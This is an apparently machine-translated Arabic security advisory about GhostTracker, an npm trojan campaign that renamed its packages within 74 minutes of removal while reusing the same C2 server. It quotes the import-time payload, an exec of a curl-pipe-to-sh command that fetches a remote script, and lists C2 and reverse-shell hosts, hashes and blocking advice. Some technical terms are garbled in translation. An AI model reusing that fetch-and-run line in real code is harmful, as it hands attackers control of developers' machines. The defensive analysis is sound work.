GhostTracker: حصان طروادة npm أعيدت تسميته في 74 دقيقة — نفس خادم التحكم والسيطرة

GhostTracker: حصان طروادة npm أعاد تسمية نفسه في غضون ساعات من إزالته - واحتفظ بنفس خادم التحكم والسيطرة

TL؛ DR

نشر أحد مشغلي npm خمس حزم برامج خبيثة عبر جولتين خلال ثلاثة أيام. تتظاهر هذه الحزم بأنها أدوات صغيرة لتلوين الطرفية، وتسجيل الأحداث، وبرنامج عميل Postgres. ويتم تشغيل الشفرة الخبيثة. لحظة استيراد الحزمة — لا يوجد برنامج تثبيت يمكن رصده.

الجولة الأولى (neon-terminal, neon-postgres, ne-logger) تم إلغاء نشره في 2026-07-05 الساعة 14:14 بالتوقيت العالمي المنسق. بعد مرور أربع وسبعين دقيقة أعاد الحساب نفسه نشر نفس برنامج التجسس تحت أسماء جديدة (agn-terminal, agn-logger) — ووجهها نحو نفس نقطة نهاية القيادة والتحكم لقد استخدمها من قبل: tracker.bvgroup.co.

يُعدّ خادم التحكم والسيطرة هذا المؤشر الوحيد الذي يبقى بعد تغيير الاسم، وهو أسرع ما يمكن للمدافع البحث عنه. الخطورة: عاليالنظام البيئي: الآلية الوقائية الوطنيةكانت حزم الجولة الثانية لا تزال متاحة وقت كتابة هذا التقرير.

الهجوم: كيف يعمل

هذه الحزم عبارة عن طُعم وظيفي. افتحها agn-terminal وتجد أداة مساعدة كاملة وفعّالة لألوان ANSI — رموز, يدعم الألوان, تلوين, طلاء — مع أنواع البيانات وملف README. يعمل كود الأداة المساعدة. مثبتة في أعلى وحدة الإدخال، فوق الكود المفيد، توجد بضعة أسطر يتم تشغيلها عند الاستيراد.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

ثلاثة أشياء تجعل هذا الأمر فعالاً.

  • يتم تشغيله عند الاستيراد، وليس عند التثبيت. لا يوجد في العبوة ما يصرح به التثبيت المسبق or بعد التثبيت الخطاف - المكان المعتاد الذي يبحث فيه الماسحون والمراجعون. EXEC الاستدعاء عبارة عن كود على مستوى الوحدة. يتم تشغيله في المرة الأولى التي يتم فيها تنفيذ أي شيء. يتطلب (“agn-terminal”) or استيراد "agn-terminal"سواء على جهاز المطور أو داخل نظام التكامل المستمر. كل من مدخل ESM (src / index.js) ومدخل CommonJS (cjs/src/index.js) تحمل نفس الحمولة، لذا فإن كلا نظامي الوحدات مشمولان.
  • توجد الحمولة الحقيقية خارج العبوة. تحتوي الحزمة على أداة عرض من سطر واحد فقط: جلب remote.agyn.org/remote.sh` وقم بتوجيهه إلى sh`. يتم تشغيل أي محتوى يقدمه المشغل من عنوان URL هذا وقت الطلب. يتم تمرير نقطة نهاية C2 إلى البرنامج النصي الذي تم تنزيله من خلال نقطة نهاية التتبع عن بعد متغير بيئي، لذا يتصل البرنامج النصي للمرحلة الثانية بالخادم الرئيسي إلى tracker.bvgroup.co.
  • تعمل عبوة النقل على توسيع نطاق الانفجار. مسجل agn هو فخ ثانٍ - "مسجل بيانات عالمي صغير". لا يحتوي على حمولة خاصة به. تقوم وحدة الدخول الخاصة به بمهمة واحدة ذات صلة:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

ويعلن agn-terminal يتم استيراد هذه الحزمة كاعتمادية. يؤدي تثبيت أو استيراد أداة التسجيل إلى استدعاء حزمة الطرفية وتشغيلها بشكل غير مباشر. حتى المشروع الذي لا يذكر اسم حصان طروادة بشكل مباشر يمكنه تنفيذه من خلال أداة التسجيل.

ما الجديد هنا؟

لم تستخدم الجولة الأولى مُرحِّلًا عن بُعد. بل قامت بتحميل الحمولة مباشرةً وتصعيدها إصدارًا تلو الآخر - غلاف عكسي Bash في أحد الإصدارات، و net.Socket الصدفة العكسية في التالي، أ git add/commit/ دفع دليل عمل الضحية في دليل آخر، وأخيرًا وكيل تحكم وأوامر HTTP كامل في طرفية نيون الإصدار 0.9.0 الذي قام بتسجيل المضيف، واستطلاع المهام، وتشغيلها باستخدام إكسيك ()ثم يتم بث المخرجات المشفرة بصيغة base64 مرة أخرى. أما الجولة الثانية فتدمج كل ذلك في ملف واحد. تجعيد | شنقل المرحلة الثانية من السجل بالكامل. نفس المشغل، حزمة أكثر هدوءًا، حمولة أكثر مرونة - والأهم من ذلك، نفس نظام القيادة والسيطرة كما كان من قبل.

الخط الزمني

التاريخ (UTC)الحدث/الفعالية
2026-07-03 07:03تم نشر الجولة الأولى: neon-terminal (0.1.0 نظيف، ثم 0.2.0–0.9.0 خبيث)، neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal تم رصدها في عملية المسح في الوقت الفعلي
2026-07-04تم التأكد من كونها خبيثة؛ وكشفت العلاقة بين الحزمتين الشقيقتين عن وجود ترابط بينهما؛ وتم تقديم أولى محاولات الإزالة.
2026-07-05 14:14الجولة الأولى غير منشورة - جميع الجولات الثماني neon-terminal تمت إزالة الإصدارات بالإضافة إلى الإصدارات الشقيقة
2026-07-05 15:28agn-terminal 0.1.0 نشرت
2026-07-05 15:29agn-logger 0.1.0 تم النشر - حامل حزمة الجهاز الطرفي الجديد
2026-07-05 (مستمر)تتوفر حزم الجولة الثانية وقت كتابة هذا التقرير

يفصل بين الجولتين ثلاثة أيام، وكانت الفترة الفاصلة بين الإزالة وإعادة الإطلاق 74 دقيقة. الحملة مفتوحة: agn-* لم تتم إزالة الحزم عند كتابة هذا النص.

مؤشرات الحل الوسط

ابحث في ملفات القفل وأشجار التبعيات عن أسماء الحزم. ابحث في الوكيل، ونظام أسماء النطاقات، و EDR سجلات نقاط نهاية الشبكة. مضيف C2 tracker.bvgroup.co يمتد على كلا الجولتين وهو المؤشر الفردي ذو القيمة الأعلى.

الباقات

فئة الإشتراكإصداراتالنوعالحالة
neon-terminal0.2.0–0.9.0حصان طروادة (حمولات مضمنة → خادم تحكم HTTP)غير منشورة
neon-postgres3.5.2حصان طروادة (الحمولة في src/errors.js)غير منشورة
ne-logger0.7.0شركة النقل (تعتمد على neon-terminal)غير منشورة
agn-terminal0.1.0حصان طروادة (curl | sh محنك)حي
agn-logger0.1.0شركة النقل (تعتمد على agn-terminal)حي

طرفية نيون 0.1.0 كانت بذرة نظيفة - مكتبة ألوان عاملة بدون حمولة - تم نشرها لتأسيس الحزمة قبل أن تتبعها الإصدارات الخبيثة.

الانرنيت

مؤشرالسياق
tracker.bvgroup.co/remote/…HTTP C2، كلا الجولتين (رمز الجولة الثانية) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shالجولة الثانية المرحلة الأولى محمل
reverse.bvgroup.co:443نقطة نهاية الصدفة العكسية للجولة الأولى (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754الغلاف العكسي للجولة الأولى (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852الغلاف العكسي للجولة الأولى (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.ioالمجالات التي يتحكم بها المشغل

السلوكية

  • على مستوى الوحدة child_process.exec في أعلى ملف إدخال حزمة الأدوات المساعدة، في كليهما src / index.js (ESM) و cjs/src/index.js (CJS).
  • A curl -fsSL … | sh سطر واحد مع تمرير C2 عبر نقطة نهاية التتبع عن بعد متغيرات البيئة.
  • حزمة "مساعدة" ثانية تُعلن عن الأولى كاعتمادية وتستوردها، بدون أي حمولة خاصة بها.
  • بقايا الطعام // نيون-طرفي التعليق في أعلى الصفحة agn-terminal — قطعة أثرية منسوخة تربط العلامة التجارية الجديدة بالأصلية.

تجزئات الملفات (SHA-256، الجولة الثانية)

  • agn-terminal src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • مسجل agn src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

الإسناد والسلوك الملاحظ

كل حزمة تتبع إلى حساب npm واحد، فيتالي-أجين، النشر تحت البريد الإلكتروني غير الموثق vitalii@agyn.ioتُدرج بيانات تعريف سجل الحساب جميع حزم الجولة الأولى الثلاث على أنها مُدارة من قِبله. وتربط البنية التحتية الجولات ببعضها البعض: النطاق agyn.org يتوافق مع متطلبات الناشر agyn.io نطاق البريد الإلكتروني، ومضيف C2 tracker.bvgroup.co يظهر في كليهما طرفية نيون و0.9.0 agn-terminal 0.1.0 — نفس مسار المُجمِّع، تمت إعادة استخدامه حرفيًا بعد إعادة التسمية.

نصف ما تُظهره القطع الأثرية ونتوقف عند هذا الحد. البريد الإلكتروني المُعلن عنه من قِبل الناشر هو vitalii@agyn.ioلم نتحقق من ملكية هذا العنوان، ولا ننسب الحساب إلى أي شخص أو مجموعة محددة. إن إعادة استخدام نقطة نهاية C2 واحدة عبر مجموعتين من الحزم يُعد مؤشرًا قويًا على أن المشغل هو نفسه، وليس دليلًا على الهوية.

اعتمدت حزم الجولة الأولى على تقارب العلامات التجارية. نيون-بوستغريس كان نسخة طبق الأصل من برنامج بورساجر واسع الانتشار postgres.js العميل، والشعار، وكل شيء، مع الحمولة المخبأة في src/errors.js لذا فإن مسار الاستيراد الروتيني سيصل إليه — و نيون- يستمد الاسم الأولي شهرته من شركة Neon، وهي مزود خدمة Postgres بدون خوادم. أما أسماء الجولة الثانية فقد تخلت عن هذا التقليد واتجهت إلى الأسماء العامة (agn-terminal, مسجل agn، مما أدى إلى استبدال قوة العلامة التجارية بانفصال أنظف عن الأسماء المحروقة.

 التأثير والاتجاهات وتوجيهات المدافعين

  • من هو المعرض للخطر؟ أي شخص يقوم بتثبيت واستيراد إحدى هذه الحزم، مباشرةً أو عبر مزود الخدمة، على مضيف شبيه بنظام يونكس. يستخدم برنامج التجهيز حليقة و shتستخدم قذائف الجولة الأولى سحق و /dev/tcpبما أن التنفيذ يتم عند الاستيراد، يكفي خادم بناء يقوم بتثبيت التبعية وتشغيل أي كود يتعامل معها، فلا حاجة لخطوة ما بعد التثبيت. على محطة عمل المطور أو مشغل التكامل المستمر، يتم تشغيل المرحلة الثانية التي تم تنزيلها بصلاحيات المستخدم ووصول كامل إلى الشبكة.
  • لماذا يُعدّ تنفيذ عملية الاستيراد أمراً مهماً؟ ركزت دفاعات سلسلة التوريد على نصوص التثبيت، ولسبب وجيه - فعملية ما بعد التثبيت هي نقطة ارتكاز npm الكلاسيكية. تتجاوز هذه الحملة ذلك تمامًا. لا يوجد خطاف تثبيت يمكن الإبلاغ عنه. الشيفرات الخبيثة هي عملية تهيئة عادية للوحدة، لا يمكن تمييزها للوهلة الأولى عن حزمة تقوم بحساب جدول بحث عند التحميل. الأدوات التي تفحص فقط النصوص البرمجية في ملف package.json لا ترى شيئًا.
  • اتجاه إعادة التسمية وإعادة الاستخدام. يكمن جوهر القصة في سرعة الاستجابة التي بلغت 74 دقيقة. فقد أزالت عملية الإزالة الأسماء، لكنها لم تُزل المُشغِّل أو البنية التحتية أو الشيفرة. وفي غضون ساعة، عادت الحملة للعمل بأسماء جديدة تشير إلى نفس خادم التحكم والسيطرة. كان الحظر القائم على الأسماء - مثل حظر neon-terminal - سيُصبح قديمًا. أما الحظر القائم على البنية التحتية - مثل حظر bvgroup.co - فكان سيُوقف المحاولة الثانية فور وصولها. بالنسبة لمُشغِّل نشط يُعيد النشر بوتيرة أسرع من قدرة سجلات النطاقات على الإزالة، فإن المؤشر الدائم هو نقطة نهاية الشبكة، وليس اسم الحزمة.

ما يجب القيام به الآن

  • ابحث في ملفات القفل وهياكل التثبيت عن أسماء الحزم الخمس المذكورة أعلاه. تعامل مع أي تطابق على أنه جهاز مخترق، وقم بتغيير بيانات الاعتماد التي يمكن الوصول إليها منه.
  • حظر النطاقات والتنبيه بشأنها bvgroup.co, agyn.orgونقاط نهاية ngrok في نظام أسماء النطاقات وتصفية الخروج. tracker.bvgroup.co هي الأولوية.
  • لا تعتمد على فحص خطافات التثبيت فقط. أضف خاصية الكشف على مستوى الوحدة. عملية الطفل ومكالمات الشبكة في التبعيات، ولـ تجعيد … | ش أنماط في مصدر الحزمة.
  • اعتبر حزمة الأدوات المساعدة التي تعلن عن أداة مساعدة غامضة أخرى كاعتمادها الوحيد، وتستوردها عند التحميل، جديرة بنظرة ثانية.
  • في مجال التكامل المستمر، يُفضّل - تجاهل النصوص حيثما كان ذلك عمليًا، ولكن يجب أن نفهم أنه لا يفيد هنا - يتم تشغيل الحمولة عند الاستيراد، لذا فإن عناصر التحكم في الخروج أثناء التشغيل ومراجعة التبعية أكثر أهمية.

مراجع حسابات

أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

احمِ عملية تطوير وتسليم برامجك

مع مجموعة منتجات Xygeni